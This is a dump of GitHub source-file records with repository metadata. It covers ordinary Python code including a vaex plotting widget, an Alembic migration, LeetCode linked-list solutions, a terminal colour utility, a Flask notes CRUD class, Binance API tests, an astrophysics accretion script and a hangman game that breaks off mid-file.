super().__init__(zoom_y=False, **kwargs)\n self.pie1 = self.mark = bqplot.Pie(sizes=[1, 2], radius=self.radius, inner_radius=0, stroke=blackish)\n self.figure.marks = self.figure.marks + [self.mark]\n\n def update_data(self, x, y, colors):\n # TODO: support groups\n self.pie1.sizes = y[0]\n\n def reset_opacities(self):\n opacities = self.mark.y * 0 + self.opacity\n self.state.x_slice = None\n self.mark.opacities = opacities.T.ravel().tolist()\n\n def highlight(self, index):\n opacities = (self.mark.y * 0 + 0.2)\n if len(self.mark.y.shape) == 2:\n opacities[:, index] = self.opacity\n else:\n opacities[index] = self.opacity\n self.mark.opacities = opacities.T.ravel().tolist()\n self.reset_opacities()\n\n\nclass Heatmap(_BqplotMixin):\n def __init__(self, output, presenter, **kwargs):\n self.output = output\n self.presenter = presenter\n super().__init__(**kwargs)\n self.heatmap_image = widgets.Image(format='png')\n self.heatmap_image_fix = widgets.Image(format='png')\n self.mark = bqplot.Image(scales=self.scales, image=self.heatmap_image)\n self.figure.marks = self.figure.marks + [self.mark]\n\n def set_rgb_image(self, rgb_image):\n with self.output:\n assert rgb_image.shape[-1] == 4, \"last dimention is channel\"\n rgb_image = (rgb_image * 255.).astype(np.uint8)\n pil_image = vaex.image.rgba_2_pil(rgb_image)\n data = vaex.image.pil_2_data(pil_image)\n self.heatmap_image.value = data\n # force update\n self.mark.image = self.heatmap_image_fix\n self.mark.image = self.heatmap_image\n # TODO: bqplot bug that this does not work?\n # with self.image.hold_sync():\n self.mark.x = (self.x_min, self.x_max)\n self.mark.y = (self.y_min, self.y_max)\n","repo_name":"vaexio/vaex","sub_path":"packages/vaex-jupyter/vaex/jupyter/bqplot.py","file_name":"bqplot.py","file_ext":"py","file_size_in_byte":7587,"program_lang":"python","lang":"en","doc_type":"code","stars":8057,"dataset":"github-code","pt":"53"} +{"seq_id":"552411718","text":"\"\"\"Add is_in_box column.\n\nRevision ID: 1fab5cb0725\nRevises: 39c87223255\nCreate Date: 2014-09-11 17:16:12.321937\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '1fab5cb0725'\ndown_revision = '39c87223255'\n\nfrom alembic import op\nfrom sqlalchemy import Column, Boolean\n\n\ndef upgrade():\n op.add_column(\n 'game_entities',\n Column(\n 'is_in_box',\n Boolean,\n nullable=False,\n server_default='false'))\n\n\ndef downgrade():\n op.drop_column('game_entities', 'is_in_box')\n","repo_name":"socek/konwentor","sub_path":"code/alembic/versions/1fab5cb0725_add_is_in_box_column.py","file_name":"1fab5cb0725_add_is_in_box_column.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"} +{"seq_id":"38724896957","text":"from fresco.parallel_processing import multiprocess_functions\n\ndef scope_optimization(initial_feature_vector, problem_data, group_vector_scorer, vector_generator, n_iterations, n_processes, n_maintain, save_iterations):\n outcome_set = [group_vector_scorer.score_feature_vector(problem_data, initial_feature_vector)]\n return_set = [outcome_set[0]]\n \n for iteration in range(1, n_iterations):\n new_vector_set = vector_generator.generate_vectors(outcome_set)\n \n testing_functions = [(group_vector_scorer.score_feature_vector, (problem_data, new_vector)) for new_vector in new_vector_set]\n result_handler = outcome_set.append\n multiprocess_functions(testing_functions, result_handler, n_processes)\n \n outcome_set.sort(key=lambda outcome:outcome.prediction_quality, reverse=True)\n outcome_set = outcome_set[:n_maintain]\n return_set.append(outcome_set[0])\n\n return return_set if save_iterations else return_set[-1]\n","repo_name":"rybern/fresco","sub_path":"fresco/scope_optimization.py","file_name":"scope_optimization.py","file_ext":"py","file_size_in_byte":984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"53"} +{"seq_id":"72296616169","text":"#!/usr/bin/env python3\n\nfrom typing import Union, Optional, Tuple\nimport shutil\nfrom enum import Enum\n\n_COLOR_END = \"\\033[0m\"\n_CLR_DICT = {\"black\": 0,\n \"red\": 196,\n \"dred\": 88,\n \"lblue\": 74,\n \"blue\": 33,\n \"dblue\": 21,\n \"purple\": 171,\n \"dpurple\": 93,\n \"lpurple\": 183,\n \"orange\": 214,\n \"teal\": 123,\n \"green\": 70,\n \"dgreen\": 28,\n \"lgreen\": 46,\n \"pink\": 218,\n \"lyellow\": 229,\n \"yellow\": 226,\n \"dyellow\": 220,\n \"warning\": 221,\n \"brown\": 130,\n \"lgrey\": 250,\n \"grey\": 244,\n \"dgrey\": 239,\n \"white\": 256}\n\n_ORANGE_GREEN_GRAD = {0: 196, 1: 202, 10: 208, 20: 215,\n 30: 184, 40: 148, 50: 190, 60: 118, 70: 46}\n\n_FORMAT_CODES = {\n \"mg[\": 243, # medium grey\n \"dg[\": 239, # dark grey\n \"lg[\": 252, # light grey\n \"e[\": 196, # error\n \"g[\": 154, # green\n \"b[\": 74, # blue\n \"i[\": 154, # info\n \"o[\": 214, # orange\n \"d[\": 239, # dark /grey\n \"y[\": 229, # yellow\n \"w[\": _CLR_DICT[\"warning\"],\n \"p[\": _CLR_DICT[\"purple\"]}\n\n\nclass Color(Enum):\n Black = _CLR_DICT[\"black\"]\n LightGreen = _CLR_DICT[\"lgreen\"]\n DarkGreen = _CLR_DICT[\"dgreen\"]\n Orange = _CLR_DICT[\"orange\"]\n Purple = _CLR_DICT[\"purple\"]\n LightPurple = _CLR_DICT[\"lpurple\"]\n DarkPurple = _CLR_DICT[\"dpurple\"]\n Pink = _CLR_DICT[\"pink\"]\n Teal = _CLR_DICT[\"teal\"]\n LightBlue = _CLR_DICT[\"lblue\"]\n DarkYellow = _CLR_DICT[\"dyellow\"]\n LightYellow = _CLR_DICT[\"lyellow\"]\n LightGrey = _CLR_DICT[\"lgrey\"]\n DarkGrey = _CLR_DICT[\"dgrey\"]\n Grey = _CLR_DICT[\"grey\"]\n Red = _CLR_DICT[\"red\"]\n Error = _CLR_DICT[\"red\"]\n Warning = _CLR_DICT[\"warning\"]\n Brown = _CLR_DICT[\"brown\"]\n White = _CLR_DICT[\"white\"]\n\n\nColorType = Union[int, str, Color]\n\n\ndef _to_index_str(color_value: ColorType) -> str:\n if isinstance(color_value, int):\n return str(color_value)\n if isinstance(color_value, str):\n return str(_CLR_DICT.get(color_value, Color.LightGreen.value))\n if isinstance(color_value, Color):\n return str(color_value.value)\n return str(Color.LightGreen.value)\n\n\ndef cstr(string: str, foreground: ColorType, background: Optional[ColorType] = None, bold: bool = False) -> str:\n _color_str = \"\\033[38;5;\" + _to_index_str(foreground) + \"m\"\n if background:\n _color_str += \"\\033[48;5;\" + _to_index_str(background) + \"m\"\n if bold:\n _color_str += \"\\033[1m\"\n return f\"{_color_str}{str(string)}{_COLOR_END}\"\n\n\ndef pcstr(string: str, foreground: ColorType, background: Optional[ColorType] = None, bold: bool = False) -> None:\n print(cstr(string, foreground, background, bold))\n\n\ndef percentage_to_cstr(percentage: str) -> str:\n percentage_val = int(percentage.replace('%', ''))\n for key, val in _ORANGE_GREEN_GRAD.items():\n if percentage_val > key:\n continue\n return cstr(percentage, val)\n return cstr(percentage, Color.LightGreen)\n\n\ndef print_color_format_string(string: str,\n format_chars: Tuple[str, str] = ('[', ']'),\n show: bool = True,\n end: str = '\\n',\n get_str: bool = False) -> Optional[str]:\n \"\"\"Prints with color, based on a special format in the passed string\"\"\"\n if len(format_chars) != 2 or not show:\n return\n for code, color_val in _FORMAT_CODES.items():\n begin_code = code.replace('[', format_chars[0])\n string = string.replace(begin_code, \"\\033[38;5;\" + str(color_val) + \"m\")\n colored_str = string.replace(format_chars[1], _COLOR_END)\n if get_str:\n return colored_str\n print(string.replace(format_chars[1], _COLOR_END), end=end)\n\n\ndef pfcs(string: str, format_chars: Tuple[str, str] = ('[', ']'), show: bool = True, end: str = '\\n') -> None:\n \"\"\"Short for PrintFormatColorString, same as pcfs method\"\"\"\n print_color_format_string(string, format_chars=format_chars, show=show, end=end)\n\n\ndef pcfs(string: str, format_chars: Tuple[str, str] = ('[', ']'), show: bool = True, end: str = '\\n') -> None:\n \"\"\"Short for PrintColorFormatString, same as pfcs method\"\"\"\n print_color_format_string(string, format_chars=format_chars, show=show, end=end)\n\n\ndef fcs(string, format_chars=('[', ']')) -> str:\n return print_color_format_string(string, format_chars, get_str=True)\n\n\ndef print_line(color: ColorType = 239, adapt_to_terminal_width: bool = True, length: int = 100,\n char: str = \"=\") -> None:\n if adapt_to_terminal_width:\n length = shutil.get_terminal_size()[0] - 1\n pcstr(char * length, color)\n\n\ndef to_color_str(string: str, foreground: ColorType, background: Optional[ColorType] = None, bold: bool = False) -> str:\n \"\"\" Wrapper for cstr \"\"\"\n return cstr(string, foreground, background, bold)\n\n\ndef main():\n def test_colors():\n for color_value in range(0, 257):\n pcstr(f\": {color_value} ##################\", color_value)\n\n for color_str, color_val in _CLR_DICT.items():\n pcstr(color_str.upper() + f\": {color_val}\", color_str)\n\n print(\"colors:\\n\")\n test_colors()\n pfcs(f\"Hello I am dg[dark grey] i am g[green]\")\n pfcs(f\"Hello I am e[error] and I am b[info]\")\n pfcs(f\"Hello I am e.error- and I am b.info-\", format_chars=('.', '-'))\n print(cstr(\"Hello I am orange using enum\", Color.Orange))\n print(cstr(\"Hello I am black/orange using enum\", Color.Black, Color.Orange))\n print_line(color=\"blue\")\n print_line(color=\"red\")\n print_line()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"GoblinDynamiteer/scripts","sub_path":"printout.py","file_name":"printout.py","file_ext":"py","file_size_in_byte":5766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"7479468372","text":"\n\n#part1\nprint(\"part1\")\nshared_items = ''\noutput = 0\n\nwith open(\"input.txt\", \"r\") as file:\n for line in file.readlines():\n line = line.strip()\n lenght = int(len(line))\n length_comp1 = int(len(line) / 2)\n comp1 = line[0:length_comp1]\n comp2 = line[length_comp1:lenght]\n\n for char in comp1:\n if char in comp2:\n shared_items = shared_items + char\n break\n\n for char in shared_items:\n if char.islower():\n number = ord(char) - 96\n output = output + number\n else:\n number = ord(char) - 64 + 26\n output = output + number\n\n print(output)\nfile.close()\n\n#part2\nprint(\"part2\")\nresult = 0\n\nfrom string import ascii_lowercase, ascii_uppercase\nkey = ascii_lowercase + ascii_uppercase\nwith open(\"input.txt\", \"r\") as file:\n all_rucksacks = file.read().strip()\n\nlines = all_rucksacks.split(\"\\n\")\nfor i in range(0,len(lines), 3):\n elf_group = lines[i:(i + 3)]\n\n for i, c in enumerate(key):\n if all([c in li for li in elf_group]):\n result += key.index(c) + 1\n\nprint(result)","repo_name":"Pixie-Axerup/adventofcode2022-python","sub_path":"day3/day3.py","file_name":"day3.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"} +{"seq_id":"7568848944","text":"import requests\n\nURL = \"https://hub.snapshot.org/graphql\"\nQUERY = \"\"\"\nquery getVotes($first: Int!, $skip: Int!, $where: VoteWhere) {\n votes(first: $first, skip: $skip, where: $where) {\n choice\n vp\n }\n}\n\"\"\"\nHEADERS = {\"Content-Type\": \"application/json\"}\n\n\ndef get_proposal_current_result(proposal_id: int) -> list[dict]:\n variables = {\"first\": 1000, \"skip\": 0, \"where\": {\"proposal\": proposal_id}}\n with requests.Session() as session:\n response = session.post(URL, json={\"query\": QUERY, \"variables\": variables}, headers=HEADERS, timeout=10)\n response.raise_for_status()\n data = response.json()\n return data.get(\"data\", {}).get(\"votes\", [])\n","repo_name":"redboo/pancakeswap-scraper","sub_path":"snapshot/get_proposal_current_result.py","file_name":"get_proposal_current_result.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"26331596208","text":"# Definition for singly-linked list.\nfrom typing import Optional\n\n\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\nclass Solution:\n def removeNthFromEnd(self, head: Optional[ListNode], n: int) -> Optional[ListNode]:\n data = []\n cur = head\n while cur:\n data.append(cur)\n cur = cur.next\n if len(data) == 1:\n return None\n if len(data) == n:\n return data[1]\n if n > 1:\n data[len(data) - n - 1].next = data[len(data) - n + 1]\n else:\n data[len(data) - n - 1].next = None\n data.pop(-n)\n return data[0]\n\n def another(self, head, n):\n dummy = ListNode()\n dummy.next = head\n\n pnt1, pnt2 = dummy, head\n for _ in range(n):\n pnt2 = pnt2.next\n\n while pnt2:\n pnt1, pnt2 = pnt1.next, pnt2.next\n\n pnt1.next = pnt1.next.next\n return dummy.next","repo_name":"curlyapollo/leetcode","sub_path":"linked_lists/remove_Nth_node_from_end_of_list/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"53"} +{"seq_id":"35066806347","text":"# Author: Omkar Dixit\n# Email: omedxt@gmail.com\n\n# Link: https://leetcode.com/problems/merge-k-sorted-lists/\n\n# Time Complexity: O(nlogk) n is number of elements in a list, k is number of lists\n\nimport collections\nimport heapq\n\n\n# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass mergeLLNode:\n def __init__(self, listIndex, currNode):\n self.listIndex = listIndex\n self.currNode = currNode\n \nclass Solution(object):\n def mergeKLists(self, lists):\n \"\"\"\n :type lists: List[ListNode]\n :rtype: ListNode\n \"\"\"\n head = None\n curr = None\n if not lists:\n return None\n if len(lists) == 1:\n if not lists[0]:\n return None\n else:\n return lists[0]\n pq = []\n for i, item in enumerate(lists):\n if item:\n pq.append((item.val, mergeLLNode(i, item)))\n heapq.heapify(pq)\n while pq:\n val, mergeLLNodeInstance = heapq.heappop(pq)\n if not head:\n head = ListNode(val)\n curr = head\n else:\n curr.next = ListNode(val)\n curr = curr.next\n if mergeLLNodeInstance.currNode.next:\n mergeLLNodeInstance.currNode = mergeLLNodeInstance.currNode.next\n pq.append((mergeLLNodeInstance.currNode.val, mergeLLNode(mergeLLNodeInstance.listIndex, mergeLLNodeInstance.currNode)))\n heapq.heapify(pq)\n return head","repo_name":"dixitomkar1809/Coding-Python","sub_path":"LeetCode/kSortedLists.py","file_name":"kSortedLists.py","file_ext":"py","file_size_in_byte":1635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"42608170303","text":"from base64 import b64decode\nimport time\n\n\n\nclass CRUD:\n\n def __init__(self, db, NotesStore, RestoreDB,logging):\n self.db = db\n self.NotesStore = NotesStore\n self.RestoreDB = RestoreDB\n self.logging = logging\n\n\n def SaveNote(self,request):\n content = request.form['NoteContent']\n title = request.form['NoteTitle']\n Author = self.GetUser(request)\n self.logging.info(\"Adding Note By: \" + Author)\n c = int(time.time())\n m = int(time.time())\n entry = self.NotesStore(title=title,user=Author,note=content,ctime=c,mtime=m)\n self.db.session.add(entry)\n self.db.session.commit()\n result = self.NotesStore.query.filter(self.NotesStore.ctime == c).first()\n return (title,content,Author,result.id, self.FormatTime(result.mtime),\n self.FormatTime(result.ctime))\n\n\n def GetUser(self,request):\n auth = request.headers[\"Authorization\"]\n userpass = auth.split()[1]\n details = b64decode(userpass)\n fields = details.split(':')\n username = fields[0]\n return username\n\n\n def UpdateNote(self,request):\n content = request.form['NoteContent']\n title = request.form['Title']\n note_id = request.form['Note_ID']\n self.logging.info(\"Updating Note ID: \" + str(note_id))\n author = request.form['User']\n m = int(time.time())\n result = self.NotesStore.query.filter(self.NotesStore.id == note_id).first()\n result.title = title\n result.note=content\n result.mtime=m\n self.db.session.commit()\n return (title, content, author, result.id, self.FormatTime(m), \n self.FormatTime(result.ctime))\n\n\n def DeleteNote(self,note_id):\n self.logging.info(\"Deleting from Notes DB, Note ID: \" + str(note_id))\n result = self.NotesStore.query.filter(self.NotesStore.id == note_id).first()\n c = int(time.time())\n restoreentry = self.RestoreDB(id=c,title=result.title,user=result.user,\n note=result.note, ctime=result.ctime,\n mtime=result.mtime)\n self.db.session.add(restoreentry)\n self.db.session.commit()\n self.db.session.delete(result)\n self.db.session.commit()\n # Fix this later. Need to return actual status.\n return ('Delete Success')\n\n\n def RestoreNote(self,note_id):\n self.logging.info(\"Looking in restore DB for Note ID: \" + str(note_id))\n result = self.RestoreDB.query.filter(self.RestoreDB.id == note_id).first()\n restoreentry = self.NotesStore(title=result.title,user=result.user,\n note=result.note,ctime=result.ctime,mtime=result.mtime)\n self.db.session.add(restoreentry)\n self.db.session.commit()\n self.db.session.delete(result)\n self.db.session.commit()\n # Fix this later. Need to return actual status.\n return ('Restore Success')\n\n\n def GetNote(self,note_id,tableobj):\n result = tableobj.query.filter(tableobj.id == note_id).first()\n if result == None:\n return (\"Not Found\",\"err\",\"err\",\"0\",\"0\")\n Author = result.user\n ctime = result.ctime\n mtime = result.mtime\n title = result.title\n content = result.note\n return (title,content,Author,self.FormatTime(ctime),\n self.FormatTime(mtime))\n\n\n\n def FormatTime(self,t):\n return time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(t))\n","repo_name":"NuisanceLevel7/Notes","sub_path":"CRUD.py","file_name":"CRUD.py","file_ext":"py","file_size_in_byte":3534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"74064523369","text":"import cv2\nfrom retinaface import RetinaFace\n\ndetector = RetinaFace(quality=\"normal\")\nimg_path = 'dataset/IU/IU.jpg'\nimg_bgr = cv2.imread(img_path, cv2.IMREAD_COLOR)\nimg_rgb = cv2.cvtColor(img_bgr, cv2.COLOR_BGR2RGB)\ndetections = detector.predict(img_rgb)\nprint(detections)\n\nimg_result = detector.draw(img_rgb, detections)\nimg = cv2.cvtColor(img_result, cv2.COLOR_RGB2BGR)\ncv2.imshow(\"windows\", img)\nkey = cv2.waitKey()\nif key == ord(\"q\"):\n print(\"exit\")\n\ncv2.destroyWindow(\"windows\")\n","repo_name":"tmhant/Python","sub_path":"face_detect.py","file_name":"face_detect.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"30211722194","text":"#!/usr/bin/env python3\n\n# File: send.py\n\n\"\"\"\nProvides a python interface to the command line msmtp command.\nBy default uses my easydns.com account as mail transfer agent.\nAssumes proper configuration of ~/.msmtprc\n\"\"\"\n\nimport sys\nimport tempfile\nimport subprocess\n\n\ndef mutt_send(recipient, subject, body,\n attachments=None,\n mutt_config='~/.mutteasy'):\n \"\"\"\n Does the mass e-mailings with attachment(s) which, if\n provided, must be in the form of a list of files.\n \"\"\"\n cmd_args = [\"mutt\", \"-F\", mutt_config, ]\n cmd_args.extend([\"-s\", \"{}\".format(subject)])\n if attachments:\n list2attach = ['-a']\n for path2attach in attachments:\n list2attach.append(path2attach)\n cmd_args.extend(list2attach)\n cmd_args.extend([\"--\", recipient])\n p = subprocess.run(cmd_args, stdout=subprocess.PIPE,\n input=body, encoding='utf-8')\n if p.returncode:\n print(\"Error: {} ({})\".format(\n p.stdout, recipient))\n\n\ndef smtp_send(recipients, message, account='easy'):\n \"\"\"\n Send email, as defined in [1],\n to the who will receive this email\n from person identified by the 'from' clause in ~/.msmtprc.\n must be an iterable of one or more strings\n representing valid email addresses.\n [1] must be in proper format with\n \"From:\", \"To:\" & \"Subject:\" lines (no leading spaces!)\n followed by a blank line and then the text of the email.\n \"\"\"\n cmd_args = [\"msmtp\", \"-a\", account, ]\n for recipient in recipients:\n cmd_args.append(recipient)\n p = subprocess.run(cmd_args, stdout=subprocess.PIPE,\n input=message, encoding='utf-8')\n if p.returncode:\n print(\"Error: {} ({})\".format(\n p.stdout, recipient))\n\n\nrecipients = (\"alex@kleider.ca\",\n \"alexkleider@gmail.com\",\n# \"alexkleider@protonmail.com\",\n )\nbody=\"\"\"Body of email sits here.\nI hope formatting is preserved.\nSincerely,\nAlex Kleider\n\"\"\"\n\nheader = \"\"\"From: alex@kleider.ca\nTo: alexkleider@gmail.com\nSubject: this is a test\n\n{}\"\"\".format(body)\n\nattachments = (\n\"\"\"# First attachment4testing\n\nThis is a test attachment.\n\"\"\",\n\"\"\"# Second attachment4testing\n\nAnother attachment for testing.\n\"\"\",\n)\n\ntest_files = []\n\ndef create_attachment_files(\n attachments=attachments,\n test_files=test_files):\n n = 0\n for attachment in attachments:\n temp_file = tempfile.NamedTemporaryFile(mode='w')\n temp_file.write(attachment)\n test_files.append(temp_file)\n\ndef delete_attachment_files(test_files=test_files):\n for test_file in test_files:\n test_file.close()\n\nif __name__ == \"__main__\":\n response = input(\"Send a test email using m)utt or s)mtp? \")\n if response and response[0] in 'sS':\n print(\"Using smtp...\")\n smtp_send(recipients, header + body)\n elif response and response[0] in 'mM':\n print(\"Using mutt...\")\n create_attachment_files()\n mutt_send('alex@kleider.ca',\n 'this is a test',\n body,\n attachments=[attachment.name\n for attachment in test_files ])\n else:\n print(\"Must specify M)utt or S)mtp.\")\n\n\n","repo_name":"alexKleider/Club_Utilities","sub_path":"dev/mail/send.py","file_name":"send.py","file_ext":"py","file_size_in_byte":3293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"73953959209","text":"\n\nclass Node:\n def __init__(self, value):\n self.value = value\n self.next = None\n\n\nclass reOrderList:\n \n def reOrder(self, head):\n \"\"\"\n Do not return anything, modify head in-place instead.\n \"\"\"\n if not head:\n return head\n \n middleNode = self.findTheMiddleNode(head)\n reverseMiddleNode = self.reverseNode(middleNode)\n \n newNode = head\n while reverseMiddleNode is not None:\n next = newNode.next\n newNode.next = reverseMiddleNode\n reverseMiddleNode = reverseMiddleNode.next\n newNode.next.next = next\n newNode = next\n \n return head\n\n \n def findTheMiddleNode(self, node):\n slow, fast = node, node\n \n while fast.next is not None and fast.next.next is not None:\n slow = slow.next\n fast = fast.next.next\n \n middle = slow.next\n slow.next = None\n return middle\n \n \n def reverseNode(self, middleNode):\n prev = None\n while middleNode is not None:\n next = middleNode.next\n middleNode.next = prev\n prev = middleNode\n middleNode = next\n \n return prev\n\n\nnode = Node(1)\nnode.next = Node(2)\nnode.next.next = Node(3)\nnode.next.next.next = Node(4)\nnode.next.next.next.next = Node(5)\nnode.next.next.next.next.next = Node(6)\n\nsol = reOrderList()\nprint(sol.reOrder(node))","repo_name":"ArshErgon/Leetcode-Question-Solution","sub_path":"LeetCode/linkedList/medium/reOrderList.py","file_name":"reOrderList.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"15668167213","text":"from django.test import TestCase\nimport os\nimport yaml\nimport pymysql\n\n# Create your tests here.\n\n# 打开数据库连接\ndb = pymysql.connect('localhost', 'root', 'root', 'django_restful')\n# 使用 cursor() 方法创建一个游标对象 cursor\ncursor = db.cursor()\n\npath = os.path.join(os.path.dirname(os.path.dirname(__file__)), 'api', 'test_project', 'data', 'datas.yaml')\nwith (open(path, 'r', encoding='utf8')) as f:\n datas = yaml.load(f, Loader=yaml.FullLoader)\nprint(datas)\ndata = datas['data1']\nprint(data)\nfor i in range(len(datas['data1'])):\n tabel_name = datas['database1']\n id = datas['data1'][i]['id']\n usrname = datas['data1'][i]['username']\n email = datas['data1'][i]['email']\n groups = datas['data1'][i]['groups']\n sql = f\"\"\"INSERT INTO {tabel_name}(id,username, email, `groups`) VALUES ('{id}', '{usrname}', '{email}', '{groups}')\"\"\"\n print(sql)\n\nfor i in range(len(datas['data1'])):\n tabel_name = datas['database2']\n id = datas['data2'][i]['id']\n name = datas['data2'][i]['name']\n sql = f\"\"\"INSERT INTO {tabel_name}(id,name) VALUES ('{id}', '{name}')\"\"\"\n print(sql)\n\n\n","repo_name":"liuchangfu/django_restful","sub_path":"api/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1126,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"13698132297","text":"### This file calculates the ratio of accreted impactor core mass to total impactor core mass for a given SPH simulation ###\n\n\nimport math, glob \nimport matplotlib.pyplot as plt\n\nclass target:\n radii = []\n center = []\n\n#Converts a number in scientific notation to a float\ndef sci2Float (sciNot):\n A = sciNot.split('e')\n return float(A[0])*math.pow(10, int(A[1]))\n\n#Calculates the number of iron particles inside of the target\ndef numIron (target, x, y, z, iron, leng):\n ironCount = 0\n for i in range(0, leng):\n if (1 > ((target.center[0]-x[i])/(target.radii[0]))**2 + ((target.center[1] - y[i])/(target.radii[1]))**2 + \n ((target.center[2] - z[i])/(target.radii[2]))**2 and iron[i]):\n ironCount+=1\n return(ironCount)\n\n\n# In[2]:\n\n\ndirectory = input('Enter directory name for data set: ')\nwhile(True):\n files = sorted(glob.glob('./'+directory+'/*.dat'))\n if len(files) == 0: \n directory = input('Non-existent or empty directory. Please try again: ')\n else:\n break \n\nsep = int(input('Separation index between target and impactor: '))\n\n# In[3]:\n\n\ntrgt = target()\ntime = []\nironAmt = []\nironRat = []\n\nfor file in files:\n if str(file).endswith(\"disk.dat\"):\n break\n with open(file) as r:\n lines = r.readlines()[2:]\n print(str(file))\n curr_time = sci2Float(lines[0])\n lines = lines[1:]\n x_t, x_i = [],[]\n y_t, y_i = [],[]\n z_t, z_i = [],[]\n iron_t, iron_i = [],[]\n \n for line in lines:\n coord = sci2Float(line.split()[1])\n x_t.append(coord)\n\n for line in lines:\n coord = sci2Float(line.split()[2])\n y_t.append(coord)\n \n for line in lines:\n coord = sci2Float(line.split()[3])\n z_t.append(coord)\n \n for line in lines:\n iron = int(line.split()[7])\n if iron==3:\n iron_t.append(True)\n else:\n iron_t.append(False)\n \n x_i = x_t[sep:]\n y_i = y_t[sep:]\n z_i = z_t[sep:]\n iron_i = iron_t[sep:]\n \n x_t = x_t[:sep-1]\n y_t = y_t[:sep-1]\n z_t = z_t[:sep-1]\n iron_t = iron_t[:sep-1]\n \n trgt.center = [sum(x_t)/len(x_t), sum(y_t)/len(y_t), sum(z_t)/len(z_t)]\n time.append(curr_time)\n if str(file).endswith(\"1.dat\"):\n trgt.radii = [abs(trgt.center[0]-max(x_t)), abs(trgt.center[1]-max(y_t)), abs(trgt.center[2]-max(z_t))]\n ironAmt.append(numIron(trgt, x_i, y_i, z_i, iron_i, len(x_i)))\n \n\nlog = open('./Accretion_Ratios/'+directory+'-accRatios.txt', 'w')\n\ntIrn = 0\nfor n in iron_i:\n if n==True:\n tIrn += 1\nfor i in ironAmt:\n ironRat.append(i/tIrn)\nplt.plot(time, ironRat)\n\nlog.write(\"Time(hr)\\tMass Accretion Ratio\\n\")\nfor i in range(len(ironRat)):\n log.write(str(time[i])+'\\t'+str(ironRat[i])+'\\n')\n\nplt.xlabel('Time (hrs)')\nplt.ylabel('Mass Ratio of Accreted Iron to total Impactor Core Iron')\nplt.title('Iron in Target vs. Time')\nplt.savefig('./Mass_Accretion_Figs/'+directory+'.png')\n\nplt.show()\nplt.close()\nlog.close()\n \n","repo_name":"Arnav-UR/Senior_Thesis","sub_path":"Mass_Accretion.py","file_name":"Mass_Accretion.py","file_ext":"py","file_size_in_byte":3026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"21721353202","text":"from django.test import TestCase\nimport environ\nimport os\n\n# Binance imports.\nfrom binance_api.views.base_binance_api import BaseBinanceAPI\n\nenv = environ.Env()\n\n\nclass BaseBinanceAPITestCase(TestCase):\n \"\"\"\n This class help us to authenticate the requests of the endpoint, to can test the views.\n The objective is to inherit from this class, which will be in charge of authenticating the calls.\n \"\"\"\n\n def setUp(self) -> None:\n self.public_api_key = os.environ.get(\"BINANCE_PUBLIC_API_KEY\", None)\n self.secret_api_key = os.environ.get(\"BINANCE_SECRET_API_KEY\", None)\n self.api = BaseBinanceAPI(\n public_api_key=self.public_api_key,\n secret_api_key=self.secret_api_key,\n )\n\n\nclass BaseBinanceAPITestCaseTest(BaseBinanceAPITestCase):\n def test_connection(self):\n test_connection = self.api.test_connection()\n self.assertTrue(test_connection)\n\n def test_get_account_info(self):\n # Prueba la función get_account_info()\n account_info = self.api.get_account_info()\n self.assertIsInstance(account_info, dict)\n self.assertIn('balances', account_info)\n self.assertTrue(len(account_info['balances']) > 0)\n\n def test_get_trading_pairs(self):\n # Prueba la función get_trading_pairs()\n trading_pairs = self.api.get_trading_pairs()\n self.assertIsInstance(trading_pairs, list)\n self.assertTrue(len(trading_pairs) > 0)\n for pair in trading_pairs:\n self.assertIsInstance(pair, dict)\n self.assertIn('symbol', pair)\n self.assertIn('price', pair)\n\n def test_get_asset_balance(self):\n # Prueba la función get_asset_balance()\n asset_balance = self.api.get_asset_balance('BTC')\n self.assertIsInstance(asset_balance, dict)\n self.assertIn('asset', asset_balance)\n self.assertEqual(asset_balance['asset'], 'BTC')\n","repo_name":"IJMadalenA/orikan","sub_path":"binance_api/tests/base_binance_api_test.py","file_name":"base_binance_api_test.py","file_ext":"py","file_size_in_byte":1920,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"26732078069","text":"from random import choice\nfrom hangman_graphics import stages, logo\nfrom hangman_words import word_list\nfrom replit import clear\n\nprint(logo)\n\nchosen_word = choice(word_list)\n# print(f'Debugging: {chosen_word}')\n\nlives = 6\nend_of_game = False\n\n# display will hold remaining blanks and user's correct guesses\ndisplay = []\nfor char in chosen_word:\n display.append('_')\n\nwhile not end_of_game:\n guess = input('Guess a letter: ').lower()\n clear() # clear screen to avoid scrolling\n\n # user has already guessed correct letter\n if guess in display:\n print(f' You have already guessed {guess}.')\n\n # user makes correct guess -> display will update\n for i in range(len(chosen_word)):\n if guess == chosen_word[i]:\n display[i] = guess\n\n print(' '.join(display))\n\n # 